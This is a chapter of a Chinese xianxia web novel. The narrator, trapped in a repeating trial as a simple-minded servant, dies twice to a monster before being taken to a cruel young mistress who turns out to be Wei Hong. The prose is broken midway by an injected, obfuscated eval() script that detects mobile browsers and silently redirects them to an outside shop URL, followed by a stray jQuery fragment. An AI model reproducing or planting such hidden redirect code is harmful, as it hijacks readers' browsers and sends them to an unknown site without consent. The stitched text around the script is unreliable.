一瞬间,无数念头飞快地从我脑中产生又流逝,只是我初来乍到,不明情况,自然不敢妄动,犹豫良久,还是选择了按兵不动。
“不知道。”我再度冷冰冰地吐出这几个字,不再搭理他,一心扫着我的落叶。
那汉子自讨没趣几回,摸了摸碰壁的鼻子,不再纠缠我了,没头苍蝇似的乱转了一圈,自己随机选了个方向。
地上的落叶太多了,我扫了大半个时辰,才堪堪收拾出一片干净的地——如今什么都不知道,我只能攥着那把开局自带的扫帚,老实本分地做“我”本来应该做的事。
扫着扫着,总算是有个打着哈欠的小厮走了过来,衣着与我身上的相似,应当是和我同样的下人。只是显然,哪怕是地位大差不差的下人,也是要分个三六九等出来的。
“这都巳时末了,你怎么才扫了这些?”那小厮瞪着浑浊的眼珠子,轻飘飘扫了眼地面,神情立刻阴沉下来,劈头盖脸就是一顿痛骂。
我不是原主,更没有一点就着的暴脾气,听着也不恼,犹豫着捏了个不远不近的度,沾着点委屈就朝他大吐苦水道,“不知从哪来了个村蛮汉,张嘴就说要去三爷的书房——三爷哪是我们这些下人能随便说的人物,我懒得搭理他,那人却非要不依不饶的,这真是……”
这番话我自认是滴水不漏,既出不了错,还顺带能打听事,谁知人算不如不如天算,小心谨慎还是惹了祸。
对面的人听了,嘴角不自然地扭曲成一个怪诞的角度,两颗眼珠子里活像是有什么活物在拧动,顷刻间就把眼白染成了黑,直勾勾地盯着我。
“你不是……你不是他……你不……”
糟了。
我心道不好,下意识手一握,与我心意相通的卷雾没出现,这才堪堪想起自己现在只是个凡人,遇到事别说拔剑了,舞扫帚都得蓄上半天力。
眼前这位仁兄念叨着念叨着,整个人像是被吹了气的球,猛地膨胀起来。他露在外面的皮肤一寸寸崩裂,仍在蠕动着的血管见了天日,似乎被照出几丝若隐若现的黑影,在肌理分明的血肉间流淌着。纵横的伤口奇异地不见血,随着呼吸一张一合,恍如亟欲噬人的血盆大口。
饶是这些年走南闯北,什么样的邪祟都见过几眼,这副尊容还是让我有些不适,赶忙趁着这位变形的功夫,一扫帚呼了上去。
考虑到打人先打眼的小花招,我把扫帚侧边对准了那两颗不同步的眼珠,使劲怼了过去。再厉害的邪祟眼珠子也是软的,扫帚丝戳进去,对方立即淌出两行漆黑的血泪,尖啸一声,朝我扑来。
我及时把扫帚收了回来,往旁边就地一滚,险险躲开攻击。
眼珠子上的几个血洞没能影响到这位仁兄的视力,怨毒的目光在扑空后又跟了上来,黏腻地舔过我的全身。
几乎毫不犹豫地,它再度朝我扑来,血肉的腥气直冲鼻腔,我这回没有躲,握着木把的手攥得更近了些,扫帚横着劈出,在碰到那皮开肉绽的身躯后,却像是打在了金铁之上,震得我手腕一麻,连连后退几步。
不行,我迅速判断局势,这里没有可供我使用的武器,若是有刀剑在手,我说不准还能打个几个来回,趁机逃脱。可是如今只有一截烂木头陪着我,大抵唯一的用处便是做个加餐,省得面前这位邪祟兄光吃肉营养不均衡。
话是这么说,我还是没放弃,拎起木棍——扫帚原本的竹丝在刚才散了架,如今只剩下一截光秃秃的木棍——对准那再一次扑向我的玩意胸上某处伤口,直挺挺插了进去。
木棍一进入血肉里,就像是被某处黏滑的吸盘给吸牢了,都不用我动手,自己就一个劲往里钻,我见势不妙,果断松了手。
片刻后,整段木棍齐刷刷消失在伤口里,被吞吃殆尽,那道口子犹嫌不够,朝我持续大张着,粘稠的腥液顺着边缘淌下,把地面腐蚀出一个大坑。
得,这下好了。以凡人之躯赤手空拳打一个碰不得的怪物,我几乎可以预见未来的走向了。
如我所料,在挣扎着耗完所有体力后,我气喘吁吁地仰面向上躺着,邪祟兄非常讲究地从脚开始啃起,吸溜到肠子的时候,我终于在疼痛中晕了过去。
……
“小兄弟,小兄弟,请问……”
我再度睁开眼,尽力忽视掉残留的疼痛感,一言不发地继续扫地。
这里给我重新来过的机会,但不代表我可以随意尝试——这种地方一向都是发生在精神层面,□□不会被牵连着死亡,却不代表死不会损伤精神,多来几次,修为再高也会被耗成白痴。
带这位找路绝对是行不通的,至少现在肯定如此,我还不认识路,走错了或者问人都容易被拆穿,还不如先琢磨怎么过后面那关。
沉默地送走了前者,后者姗姗来迟,熟悉的话再一遍响起。
这次我努力扮演了一个懦弱无能的下仆,特意没多说话,对着那趾高气昂的小厮颤颤巍巍的,一副被吓怕了的样子。
多说多错,少说少……
好吧,还是错了。
我这次死得更晚了些,因着有了一次经验,这次没白送棍子,多纠缠了不少时间,可惜还是败在了凡人的体力下。
第三次我轻车熟路地无视了那个汉子,再度迎来了这个难搞的家伙。
没有记忆,没有线索,我就只能一次次试错,连着两次失败,我这回没了心力,干脆不理人,把自己当成个聋子哑巴。
本来我都做好再打一次的准备了,结果那小厮居然没有任何变化,骂完脸一翻,又笑眯眯地走到了近前,“那些人就是没见识,傻子多好啊,活可以都推出去,也不会告状,心情不爽了还可以随便骂,哪有比这更好的事了。”
我:……
我可算是知道了,难怪我怎么开口都不对,敢情是落到了个傻子身上。
一时间我连在心里吐槽的力气都没了,抓着为我壮烈牺牲过两回的扫帚,只顾着低头扫地。
那人两手空空地站在一旁,过了大约一刻钟,忽然觑着日头一拍脑袋,急匆匆地抬步走出好远,像是又想起了什么,连忙回来拉我。
“傻子,快走,再不回去吃不上饭了。”他也不避着我,大声嘀咕,“差点忘了今天是姓严的那个婆娘放饭,到时候见不到这个傻子又得多问几句……啧,长得像个小白脸就这点好,脑袋不行也有人惦记。”
我在他的反应中大致摸清楚了一点状况,全程把自己当成了哑巴,一路被他扯着往住所走,手里还紧攥着扫帚把不放。
下仆们住的地方相当偏僻,走了好大段路,才远远看着那些低矮、杂乱的房屋,因为临近饭点,不少人站在中间一片空地上等着放饭。
我被拽进空地上的时间恰好,旁边的人刚一看见我,“傻子”刚吐出半个音节,和我搭档的那位仁兄口中的“姓严的”那位就到了。我这才发觉这位原来年纪不小了,花白的头发被服帖地挽了一个发髻,脸上的皱纹都板正极了,一双眼满是风霜。
严婆子没说话,身后两个身强力壮的下人抬着三个大桶摆在了人群前面,两桶盛着吃食,另一桶放碗筷,原本还有些骚乱的人群瞬间没了声,排着队领饭。
我俩赶回来的有些晚,位置相当后面,约莫过了半刻钟,才排到我,打眼往桶里一看,土黄色的饭里隐约能看见未去除的谷壳,旁边则是暗绿色的汤汁里零星飘着点豆叶末。
我虽然打小在舒家不受重视,但好歹也顶着个修仙大世家的姓,还真没见识过这种饭菜,瞠目结舌了好一会儿,才伸手去接两个碗。
“等等。”
严婆子第一次开了口,那双凌厉的眼上下打量我,竟隐隐透出股慈祥之意,“他的先不用给了,稍后我领着他去吃。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788376|210262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
我闻言大松一口气,立即对这位产生了好感,不过脸上还是装作听不懂人话,仍然伸着手要拿碗。
——要是在这都是人的地方被看出来不对,那可就得死得老惨了。
靠着把傻子演得活灵活现,我又过了一关,成功被推搡着跟上严婆子,痴痴傻傻地走了一路,最后停在了另一处僻静的地方。
她喊人给我拿了两个馒头,虽说还是粗面的,至少比之前的好下口,我忖度着态度,先拿在手里看了一圈,余光里一瞧见严婆子似乎有些疑惑,立即就把馒头塞进嘴里,狼吞虎咽地吃完了。
那点浮光掠影似的疑惑转瞬即逝,严婆子没能化身邪祟,依旧慈眉善目地看着我,过了许久,才叹气,“孩子,是婆婆对不住你。”
等等,这又是怎么一回事?
为了俩馒头把自己卖出去的我一头雾水,但碍于是个傻子,什么都不能问,直到跟着衣着打扮与我这等下人全然不同的侍女们又走出去二里地,才终于听到了解释。
两个领路的侍女都带着面纱,到了没人的地方,才窃窃私语起来。
“你知道上一个人是怎么没的吗?”
“不是说偷了主家的东西才被打死的吗?难道还有隐情?”
“才不是。我听说啊,是干活的时候多看了那位一眼,立即就被拖出去活生生打死了。这才让我们找一个老实本分的。”
“这……大小姐的脾气这几年越发难相与了,也不知道今天这个能撑多久。”
两人唉声叹气好一会,又是一番庆幸自己不在那位手底下做事。等到了地方,几乎是带着怜悯地目送我被领了进去。
这回带头的侍女穿得衣料更好些,一路上同我念叨了许多规矩,听着就骇人,“申时末就不许在三里内走动”,“在外遇到小姐必须先跪下磕十个响头”……从早到晚,从里到外,处处都安排得严丝合缝,就差告诉我几时几刻只准做什么了。
我这会头一次开始觉得当个傻子也没什么不好的,低着头一路走一路听,打定主意要演得更傻些,最好让那位大小姐觉得货不对板,把我给退回去。
从室外到内室没几步路,顷刻间就到了门前,那侍女上前轻敲了两下门,门内就传出一道女声,“进来吧。”
说来也奇,我一路听得都是这位的恶名,可如今短短三个字,听起来不仅不像个娇纵蛮横的大小姐,反倒颇有礼数的样子,莫名生了几分好感。
我甩甩头,疑心自己是被鬼糊了心窍,进去就先站那了,杵着跟个棒槌似的低头看地,仍凭旁边那位死揪着我的胳膊。
“……小姐,他……他是个傻子,有点听不懂话,不是故意冒犯您的……”
侍女抖得好似筛糠,说完就“砰”的一声跪了地,立即就要嗑几个头。
就在这时,一只手横了过来,拦在那侍女身前,“本小姐最近不喜欢看别人磕头,以后都不准再这般了。”
这位大小姐反复多变,屋内的人似乎都习惯了,没有一个意外的,整整齐齐应了声“是”,就没了声息,天地间一时像是就只有我和大小姐两个人在这。
“抬起头来,让我看看。”
我知道她是在对我说话,按照原本的计划,我应当不理人的才是,可是听了这话,不知为何心念一动,真就按照她的吩咐,将头抬了起来。
缓缓入目的是一张相当陌生的脸,大小姐生得相当艳丽,五官飞扬跋扈,就连一双丹凤眼因为常年被怨毒浸着,也有些说不清道不明的阴森。
可是那双眸中流转的明光太过熟悉,我一眼便瞧出这张皮囊下裹着的是谁。
——卫泓。
卫泓眼神微颤,心神剧震之下几乎要把熟悉的称呼吐露出来,但很快,他就意识到自己的失态,把那两个字又原封不动地咽了下去。
“看着还行,就你了。”